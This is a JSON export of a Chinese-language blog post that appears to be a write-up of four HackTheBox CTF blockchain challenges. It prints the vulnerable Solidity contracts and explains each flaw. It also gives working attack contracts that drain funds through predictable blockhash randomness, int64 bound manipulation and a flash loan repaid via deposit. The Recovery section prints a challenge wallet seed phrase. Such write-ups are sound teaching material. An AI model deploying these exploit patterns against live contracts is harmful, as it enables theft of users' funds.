{"id":303,"date":"2024-03-13T22:16:33","date_gmt":"2024-03-13T14:16:33","guid":{"rendered":"https:\/\/zysgmzb.club\/?p=303"},"modified":"2024-03-14T21:26:38","modified_gmt":"2024-03-14T13:26:38","slug":"%e8%ae%b0%e5%bd%95hackthebox%e6%9f%90%e5%9c%bactf%e7%9a%84%e5%87%a0%e4%b8%aablockchain%e9%a2%98%e7%9b%ae","status":"publish","type":"post","link":"https:\/\/zysgmzb.club\/index.php\/archives\/303","title":{"rendered":"\u8bb0\u5f55HackTheBox\u67d0\u573aCTF\u7684\u51e0\u4e2ablockchain\u9898\u76ee"},"content":{"rendered":"<blockquote>\n<p>\u6253\u7740\u73a9\u73a9\uff0c\u73b0\u5728\u53ea\u5bf9\u533a\u5757\u94fe\u548c\u597d\u4e00\u70b9\u7684\u53d6\u8bc1\u611f\u5174\u8da3\u4e86\uff0c\u8fd8\u662f\u597d\u597d\u8003\u7814\u5427\ud83d\udc4d<\/p>\n<\/blockquote>\n<p>\u53d6\u8bc1\u6709\u70b9\u8fc7\u4e8e\u591a\u4e86\uff0c\u4e0d\u5199wp\u4e86<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/65f1b5929f345e8d039c7f7e.png\" alt=\"\" \/><\/p>\n<h2>Russian Roulette<\/h2>\n<p>\u7b7e\u5230\u9898\uff0c\u5408\u7ea6\u5982\u4e0b<\/p>\n<p>Setup.sol<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-solidity\">pragma solidity 0.8.23;\n\nimport {RussianRoulette} from &quot;.\/RussianRoulette.sol&quot;;\n\ncontract Setup {\n    RussianRoulette public immutable TARGET;\n\n    constructor() payable {\n        TARGET = new RussianRoulette{value: 10 ether}();\n    }\n\n    function isSolved() public view returns (bool) {\n        return address(TARGET).balance == 0;\n    }\n}<\/code><\/pre>\n<p>RussianRoulette.sol:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-solidity\">pragma solidity 0.8.23;\n\ncontract RussianRoulette {\n\n    constructor() payable {\n        \/\/ i need more bullets\n    }\n\n    function pullTrigger() public returns (string memory) {\n        if (uint256(blockhash(block.number - 1)) % 10 == 7) {\n            selfdestruct(payable(msg.sender)); \/\/ \ud83d\udc80\n        } else {\n        return &quot;im SAFU ... for now&quot;;\n        }\n    }\n}<\/code><\/pre>\n<p>\u4e00\u773c\u7b80\uff0c\u89e6\u53d1pullTrigger\u91cc\u9762\u7684\u81ea\u6bc1\u51fd\u6570\u5c31\u884c\u4e86\uff0c\u8fd0\u6c14\u95ee\u9898\uff0cat address\u90e8\u7f72\u624b\u52a8\u70b9\u70b9<\/p>\n<h2>Lucky Faucet<\/h2>\n<p>\u5408\u7ea6\u5982\u4e0b<\/p>\n<p>Setup.sol:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: UNLICENSED\npragma solidity 0.7.6;\n\nimport {LuckyFaucet} from &quot;.\/LuckyFaucet.sol&quot;;\n\ncontract Setup {\n    LuckyFaucet public immutable TARGET;\n\n    uint256 constant INITIAL_BALANCE = 500 ether;\n\n    constructor() payable {\n        TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();\n    }\n\n    function isSolved() public view returns (bool) {\n        return address(TARGET).balance &lt;= INITIAL_BALANCE - 10 ether;\n    }\n}<\/code><\/pre>\n<p>LuckyFaucet.sol:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.7.6;\n\ncontract LuckyFaucet {\n    int64 public upperBound;\n    int64 public lowerBound;\n\n    constructor() payable {\n        \/\/ start with 50M-100M wei Range until player changes it\n        upperBound = 100_000_000;\n        lowerBound =  50_000_000;\n    }\n\n    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {\n        require(_newUpperBound &lt;= 100_000_000, &quot;100M wei is the max upperBound sry&quot;);\n        require(_newLowerBound &lt;=  50_000_000,  &quot;50M wei is the max lowerBound sry&quot;);\n        require(_newLowerBound &lt;= _newUpperBound);\n        \/\/ why? because if you don&#039;t need this much, pls lower the upper bound :)\n        \/\/ we don&#039;t have infinite money glitch.\n        upperBound = _newUpperBound;\n        lowerBound = _newLowerBound;\n    }\n\n    function sendRandomETH() public returns (bool, uint64) {\n        int256 randomInt = int256(blockhash(block.number - 1)); \/\/ &quot;but it&#039;s not actually random \ud83e\udd13&quot;\n        \/\/ we can safely cast to uint64 since we&#039;ll never \n        \/\/ have to worry about sending more than 2**64 - 1 wei \n        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); \n        bool sent = msg.sender.send(amountToSend);\n        return (sent, amountToSend);\n    }\n}<\/code><\/pre>\n<p>\u8981\u6c42\u662f\u8d77\u7801\u63d0\u8d7010\u4e2aeth<\/p>\n<p>\u5408\u7ea6\u548b\u4e00\u770b\u6ca1\u6709\u4ec0\u4e48\u6f0f\u6d1e\u70b9\uff0c\u9760\u624b\u70b9\u7684\u8bdd\u6bcf\u6b21\u6700\u591a\u4e5f\u5c31100M wei<\/p>\n<p>\u4f46\u662f\u6ce8\u610f\u5230\u91cc\u9762\u8fd9\u6837\u4e24\u5757<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-solidity\">int64 public upperBound;\nint64 public lowerBound;\n...\nupperBound - lowerBound + 1<\/code><\/pre>\n<p>\u65e2\u7136\u53d8\u91cf\u662fint64\u578b\uff0c\u4e5f\u5c31\u662f\u8bf4\u5b58\u5728\u8d1f\u6570\uff0c\u800c\u51cf\u53bbint64\u6700\u5c0f\u503c\u7684\u8bddrandomInt\u7684\u9650\u5236\u5c31\u4f1a\u5927\u5927\u51cf\u5c11\uff0c\u4e5f\u5c31\u662f\u8bf4amountToSend\u53ef\u4ee5\u53d8\u5f97\u5f88\u5927\uff0c\u5199\u5408\u7ea6\u5b8c\u6210\u5373\u53ef<\/p>\n<p>exp.sol:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: UNLICENSED\npragma solidity 0.7.6;\n\ninterface LuckyFaucet {\n    function setBounds(int64 _newLowerBound, int64 _newUpperBound) external;\n    function sendRandomETH() external returns (bool, uint64);\n}\n\ncontract attack {\n    LuckyFaucet public LF;\n\n    constructor(address _addr) {\n        LF = LuckyFaucet(_addr);\n    }\n\n    function exp() external{\n        LF.setBounds(-9223372036854775808, 100000000);\n        LF.sendRandomETH();\n    }\n    fallback() external payable {}\n}<\/code><\/pre>\n<p>\u70b9\u4e00\u4e24\u6b21\u5c31\u591f10eth\u4e86<\/p>\n<h2>Recovery<\/h2>\n<p>\u7b80\u5355\u9898\uff0c\u533a\u5757\u94fe\u76f8\u5173\u8003\u70b9\u4e0d\u591a<\/p>\n<p>\u7ed9\u7684\u5e10\u53f7\u5bc6\u7801\u76f4\u63a5\u767b\uff0c\u5bb6\u76ee\u5f55\u91cc\u6709\u4e2awallet\uff0c\u7136\u540e\u91cc\u9762\u6709\u4e00\u4e2atxt\u6587\u4ef6\u5305\u542b\u52a9\u8bb0\u8bcd\uff0c\u6216\u8005\u8bf4\u662f&quot;seed&quot;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/65ed53619f345e8d037f27aa.jpg\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u62ff\u5230seed<\/p>\n<pre class=\"prettyprint linenums\" ><code>cradle change emerge market love umbrella trial clay album author fringe napkin<\/code><\/pre>\n<p>\u7136\u540essh\u90e8\u5206\u5c31\u6ca1\u7528\u4e86\uff0c\u6709\u70b9\u641e\u7b11\uff0c\u8fd8\u4ee5\u4e3a\u80fd\u641e\u4e2a\u63d0\u6743\u5462<\/p>\n<p>\u53e6\u4e00\u4e2a\u5bb9\u5668nc\u4e0a\u53bb\u7ed9\u4e86\u70b9\u8fde\u63a5\u53c2\u6570\u4ee5\u53ca\u7ed9\u4e86\u5730\u5740\u7528\u6765\u628a\u8fd9\u4e2aseed\u5bf9\u5e94\u7684\u8d26\u6237\u91cc\u7684btc\u6253\u5230\u91cc\u9762\u53bb<\/p>\n<p>\u8fd8\u5269\u4e00\u4e2a\u5bb9\u5668\u5c31\u662fElectrum\u7684server\u4e86\uff0c\u76f4\u63a5\u8fde<\/p>\n<p>macos\u7684electrum\u76f4\u63a5\u7528brew\u5b89\u88c5\u5c31\u597d\u4e86<\/p>\n<pre class=\"prettyprint linenums\" ><code>\/Applications\/Electrum.app\/Contents\/MacOS\/run_electrum --regtest --oneserver -s 94.237.62.99:47278:t<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/65ed54659f345e8d03854589.jpg\" alt=\"\" \/><\/p>\n<p>\u8fd9\u91cc\u9009\u4e2a\u6807\u51c6\u94b1\u5305\u7136\u540e\u8f93\u5165seed\uff0c\u7136\u540e\u76f4\u63a5\u8df3\u8fc7\u5bc6\u7801\u5373\u53ef<\/p>\n<p>\u7136\u540e\u5728\u53d1\u9001\u91cc\u9762\u628a\u6240\u6709btc\u8f6c\u5230\u7ed9\u7684\u5730\u5740\u91cc\u5c31\u597d\u4e86\uff0c\u7b80\u5355<\/p>\n<h2>Ledger Heist<\/h2>\n<p>\u95ea\u7535\u8d37\uff0c\u4e4b\u524d\u6ca1\u600e\u4e48\u89c1\u8fc7\uff0c\u641c\u4e86\u4e00\u4e0b\uff0c\u5927\u6982\u5c31\u662f\u501f\u4e86\u76f4\u63a5\u8fd8\uff0c\u9700\u8981\u5728\u5f53\u524d\u533a\u5757\u91cc\u8fd8\u6e05\u501f\u6b3e<\/p>\n<p>\u5408\u7ea6\u7ed9\u4e86\u4e0d\u5c11\uff0c\u6709\u6d1e\u7684\u4e0d\u591a<\/p>\n<p>\u4e3b\u8981\u5408\u7ea6\u5982\u4e0b<\/p>\n<p>Setup.sol:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport {LoanPool} from &quot;.\/LoanPool.sol&quot;;\nimport {Token} from &quot;.\/Token.sol&quot;;\n\ncontract Setup {\n    LoanPool public immutable TARGET;\n    Token public immutable TOKEN;\n\n    constructor(address _user) {\n        TOKEN = new Token(_user);\n        TARGET = new LoanPool(address(TOKEN));\n\n        TOKEN.approve(address(TARGET), type(uint256).max);\n        TARGET.deposit(10 ether);\n    }\n\n    function isSolved() public view returns (bool) {\n        return (TARGET.totalSupply() == 10 ether &amp;&amp; TOKEN.balanceOf(address(TARGET)) &lt; 10 ether);\n    }\n}<\/code><\/pre>\n<p>LoanPool.sol:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport {FixedMathLib} from &quot;.\/FixedPointMath.sol&quot;;\nimport &quot;.\/Errors.sol&quot;;\nimport {IERC20Minimal, IERC3156FlashBorrower} from &quot;.\/Interfaces.sol&quot;;\nimport {Events} from &quot;.\/Events.sol&quot;;\n\nstruct UserRecord {\n    uint256 feePerShare;\n    uint256 feesAccumulated;\n    uint256 balance;\n}\n\ncontract LoanPool is Events {\n    using FixedMathLib for uint256;\n\n    uint256 constant BONE = 10 ** 18;\n\n    address public underlying;\n    uint256 public totalSupply;\n    uint256 public feePerShare;\n    mapping(address =&gt; UserRecord) public userRecords;\n\n    constructor(address _underlying) {\n        underlying = _underlying;\n    }\n\n    function deposit(uint256 amount) external {\n        updateFees();\n        IERC20Minimal(underlying).transferFrom(msg.sender, address(this), amount);\n        _mint(msg.sender, amount);\n    }\n\n    function withdraw(uint256 amount) external {\n        if (userRecords[msg.sender].balance &lt; amount) {\n            revert InsufficientBalance();\n        }\n        updateFees();\n        _burn(msg.sender, amount);\n        IERC20Minimal(underlying).transfer(msg.sender, amount);\n    }\n\n    function updateFees() public {\n        address _msgsender = msg.sender;\n\n        UserRecord storage record = userRecords[_msgsender];\n        uint256 fees = record.balance.fixedMulCeil((feePerShare - record.feePerShare), BONE);\n\n        record.feesAccumulated += fees;\n        record.feePerShare = feePerShare;\n\n        emit FeesUpdated(underlying, _msgsender, fees);\n    }\n\n    function withdrawFees() external returns (uint256) {\n        address _msgsender = msg.sender;\n\n        uint256 fees = userRecords[_msgsender].feesAccumulated;\n        if (fees == 0) {\n            revert NoFees();\n        }\n        userRecords[_msgsender].feesAccumulated = 0;\n        IERC20Minimal(underlying).transfer(_msgsender, fees);\n\n        emit FeesUpdated(underlying, _msgsender, fees);\n\n        return fees;\n    }\n\n    function balanceOf(address account) public view returns (uint256) {\n        return userRecords[account].balance;\n    }\n\n    \/\/ Flash loan EIP\n    function maxFlashLoan(address token) external view returns (uint256) {\n        if (token != underlying) {\n            revert NotSupported(token);\n        }\n        return IERC20Minimal(token).balanceOf(address(this));\n    }\n\n    function flashFee(address token, uint256 amount) external view returns (uint256) {\n        if (token != underlying) {\n            revert NotSupported(token);\n        }\n        return _computeFee(amount);\n    }\n\n    function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)\n        external\n        returns (bool)\n    {\n        if (token != underlying) {\n            revert NotSupported(token);\n        }\n\n        IERC20Minimal _token = IERC20Minimal(underlying);\n        uint256 _balanceBefore = _token.balanceOf(address(this));\n\n        if (amount &gt; _balanceBefore) {\n            revert InsufficientBalance();\n        }\n\n        uint256 _fee = _computeFee(amount);\n        _token.transfer(address(receiver), amount);\n\n        if (\n            receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)\n                != keccak256(&quot;ERC3156FlashBorrower.onFlashLoan&quot;)\n        ) {\n            revert CallbackFailed();\n        }\n\n        uint256 _balanceAfter = _token.balanceOf(address(this));\n        if (_balanceAfter &lt; _balanceBefore + _fee) {\n            revert LoanNotRepaid();\n        }\n        \/\/ The fee is `fee`, but the user may have sent more.\n        uint256 interest = _balanceAfter - _balanceBefore;\n        _updateFeePerShare(interest);\n\n        emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);\n        return true;\n    }\n\n    \/\/ Private methods\n    function _mint(address to, uint256 amount) private {\n        totalSupply += amount;\n        userRecords[to].balance += amount;\n\n        emit Transfer(address(0), to, amount);\n    }\n\n    function _burn(address from, uint256 amount) private {\n        totalSupply -= amount;\n        userRecords[from].balance -= amount;\n\n        emit Transfer(from, address(0), amount);\n    }\n\n    function _updateFeePerShare(uint256 interest) private {\n        feePerShare += interest.fixedDivFloor(totalSupply, BONE);\n    }\n\n    function _computeFee(uint256 amount) private pure returns (uint256) {\n        \/\/ 0.05% fee\n        return amount.fixedMulCeil(5 * BONE \/ 10_000, BONE);\n    }\n}<\/code><\/pre>\n<p>\u65e2\u7136\u9898\u76ee\u662f\u5173\u4e8e\u95ea\u7535\u8d37\uff0c\u90a3\u95ee\u9898\u80af\u5b9a\u5c31\u5904\u5728\u76f8\u5173\u65b9\u6cd5\u91cc\u9762<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-solidity\">function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)\n        external\n        returns (bool)\n    {\n        if (token != underlying) {\n            revert NotSupported(token);\n        }\n\n        IERC20Minimal _token = IERC20Minimal(underlying);\n        uint256 _balanceBefore = _token.balanceOf(address(this));\n\n        if (amount &gt; _balanceBefore) {\n            revert InsufficientBalance();\n        }\n\n        uint256 _fee = _computeFee(amount);\n        _token.transfer(address(receiver), amount);\n\n        if (\n            receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)\n                != keccak256(&quot;ERC3156FlashBorrower.onFlashLoan&quot;)\n        ) {\n            revert CallbackFailed();\n        }\n\n        uint256 _balanceAfter = _token.balanceOf(address(this));\n        if (_balanceAfter &lt; _balanceBefore + _fee) {\n            revert LoanNotRepaid();\n        }\n        \/\/ The fee is `fee`, but the user may have sent more.\n        uint256 interest = _balanceAfter - _balanceBefore;\n        _updateFeePerShare(interest);\n\n        emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);\n        return true;\n    }<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u6574\u4f53\u6d41\u7a0b\u5982\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>\u5148\u5224\u65ad\u7ed9\u7684token\u5730\u5740\u662f\u4e0d\u662f\u4ed6\u6240\u6307\u5b9a\u7684token\u5730\u5740\n\u7136\u540e\u4fdd\u5b58\u5f53\u524d\u6b64\u5408\u7ea6\u7684\u4f59\u989d\n\u7136\u540e\u6839\u636e\u8d37\u6b3e\u6570\u91cf\u8ba1\u7b97fee\uff0cfee\u4e3a\u8d37\u6b3e\u6570\u91cf\u76840.05%\n\u7136\u540e\u8c03\u7528receiver\u5730\u5740\u7684onFlashLoan\u65b9\u6cd5\uff0c\u8fd9\u4e2a\u5730\u5740\u53ef\u4ee5\u81ea\u5b9a\u4e49\n\u7136\u540e\u68c0\u67e5\u73b0\u5728\u7684\u4f59\u989d\u662f\u5426\u5c0f\u4e8e\u539f\u6765\u7684\u52a0\u4e0afee\uff0c\u5373\u539f\u4f59\u989d\u52a0\u4e0a\u8981\u8fd8\u7684\u5229\u606f\n\u6700\u540e\u66f4\u65b0FeePerShare<\/code><\/pre>\n<p>\u4e0d\u96be\u53d1\u73b0\uff0c\u6d41\u7a0b\u4f3c\u4e4e\u6ca1\u4ec0\u4e48\u95ee\u9898\uff0c\u5c31\u662f\u6b63\u5e38\u7684\u501f\u94b1\u8fd8\u94b1\u52a0\u5229\u606f<\/p>\n<p>\u4f46\u662f\u5408\u7ea6\u91cc\u9762\u8fd8\u6709\u4e00\u4e2a\u65b9\u6cd5<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-solidity\">function deposit(uint256 amount) external {\n    updateFees();\n    IERC20Minimal(underlying).transferFrom(msg.sender, address(this), amount);\n    _mint(msg.sender, amount);\n}<\/code><\/pre>\n<p>\u5982\u679c\u6211\u4eec\u7ed3\u5408\u8fd9\u4e24\u4e2a\u65b9\u6cd5\uff0c\u4e5f\u5c31\u662f\u8bf4\u5728\u9898\u76ee\u5408\u7ea6\u8c03\u7528receiver\u7684onFlashLoan\u65b9\u6cd5\u7684\u65f6\u5019\u6211\u4eec\u7528deposit\u65b9\u6cd5\u6765\u8fd8\u94b1\u7684\u8bdd\uff0c\u5c31\u4f1a\u5bfc\u81f4\u4f59\u989d\u786e\u5b9e\u662f\u4e0e\u539f\u6765\u7684\u4f59\u989d\u52a0\u4e0a\u5229\u606f\u76f8\u7b49\uff0c\u4f46\u662f\u8fd9\u4e9b\u94b1\u5168\u90e8\u52a0\u8fdb\u4e86\u501f\u94b1\u8005\u7684\u4f59\u989d\uff0c\u5373\u501f\u94b1\u8005\u83b7\u5f97\u4e86\u5305\u62ecfee\u5728\u5185\u7684\u6240\u6709\u94b1\u540c\u65f6\u8fd8\u6e05\u4e86\u503a\u52a1<\/p>\n<p>\u6700\u540e\u6211\u4eec\u518d\u8c03\u7528withdraw\u65b9\u6cd5\u53d6\u51fatotalSupply\u8d85\u8fc710eth\u7684\u90e8\u5206\u5373\u53ef\uff0c\u4e5f\u5c31\u662famount+fee<\/p>\n<p>\u4f9d\u636e\u8fd9\u4e2a\u7ed3\u8bba\uff0c\u53ef\u4ee5\u5199\u51fa\u4ee5\u4e0b\u653b\u51fb\u5408\u7ea6<\/p>\n<p>Exp.sol<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\ninterface LoanPool {\n    function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data) external;\n    function deposit(uint256 amount) external;\n    function withdraw(uint256 amount) external;\n}\n\ninterface IERC3156FlashBorrower {\n    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32);\n}\n\ninterface Token {\n    function approve(address spender, uint256 amount) external returns (bool);\n}\n\ncontract attack {\n    LoanPool public LP;\n    Token public tok;\n\n    constructor(address LP_address, address tok_address) {\n        LP = LoanPool(LP_address);\n        tok = Token(tok_address);\n        tok.approve(LP_address, type(uint256).max);\n    }\n    function exp() external{\n        LP.flashLoan(IERC3156FlashBorrower(address(this)), address(tok), 5 ether, &quot;&quot;);\n        LP.withdraw(5 ether + 5 ether * 0.0005);\n    }\n    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) {\n        LP.deposit(amount + fee);\n        return keccak256(&quot;ERC3156FlashBorrower.onFlashLoan&quot;);\n    }\n    fallback() external payable {}\n}<\/code><\/pre>\n<p>\u4e0d\u77e5\u9053token\u5730\u5740\u7684\u8bdd\u53ef\u4ee5\u76f4\u63a5at address\u90e8\u7f72LoanPool\u6216\u8005\u5199\u4e2a\u811a\u672c\u7b97\u4e00\u4e0b(\u91cc\u9762\u7684\u5730\u5740\u586bsetup\u7684\u5730\u5740)<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\">import rlp\nfrom eth_utils import keccak, to_checksum_address, to_bytes\n\ndef mk_contract_address(sender: str, nonce: int) -&gt; str:\n    sender_bytes = to_bytes(hexstr=sender)\n    raw = rlp.encode([sender_bytes, nonce])\n    h = keccak(raw)\n    address_bytes = h[12:]\n    return to_checksum_address(address_bytes)\n\naddress = to_checksum_address(mk_contract_address(to_checksum_address(\n    &quot;0x1291CC8B2650Fb6631d383e47444349F323d4168&quot;), 1))\n\nprint(address)<\/code><\/pre>\n<p>\u90e8\u7f72\u597d\u4e4b\u540eat address\u8c03\u7528\u4e00\u4e0btoken\u5408\u7ea6\u7684transfer\u65b9\u6cd5\u628a\u81ea\u5df1\u76841eth\u8f6c\u7ed9\u90e8\u7f72\u597d\u7684\u653b\u51fb\u5408\u7ea6<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/65ed5a999f345e8d03ab1f1d.jpg\" alt=\"\" \/><\/p>\n<p>\u7136\u540e\u76f4\u63a5\u8c03\u7528\u653b\u51fb\u5408\u7ea6\u7684exp\u65b9\u6cd5\u5373\u53ef<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6253\u7740\u73a9\u73a9\uff0c\u73b0\u5728\u53ea\u5bf9\u533a\u5757\u94fe\u548c\u597d\u4e00\u70b9\u7684\u53d6\u8bc1\u611f\u5174\u8da3\u4e86\uff0c\u8fd8\u662f\u597d\u597d\u8003\u7814\u5427\ud83d\udc4d \u53d6\u8bc1\u6709\u70b9\u8fc7\u4e8e\u591a\u4e86\uff0c\u4e0d\u5199wp\u4e86 Russian Roulette \u7b7e\u5230\u9898\uff0c\u5408\u7ea6\u5982\u4e0b Setup.sol pragma solidity 0.8.23; import {RussianRoulette} from &quot;.\/RussianRoulette.sol&quot;; contract Setup { RussianRou [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,3],"tags":[],"class_list":["post-303","post","type-post","status-publish","format-standard","hentry","category-wp","category-learn"],"_links":{"self":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/303","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/comments?post=303"}],"version-history":[{"count":4,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/303\/revisions"}],"predecessor-version":[{"id":307,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/303\/revisions\/307"}],"wp:attachment":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/media?parent=303"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/categories?post=303"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/tags?post=303"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}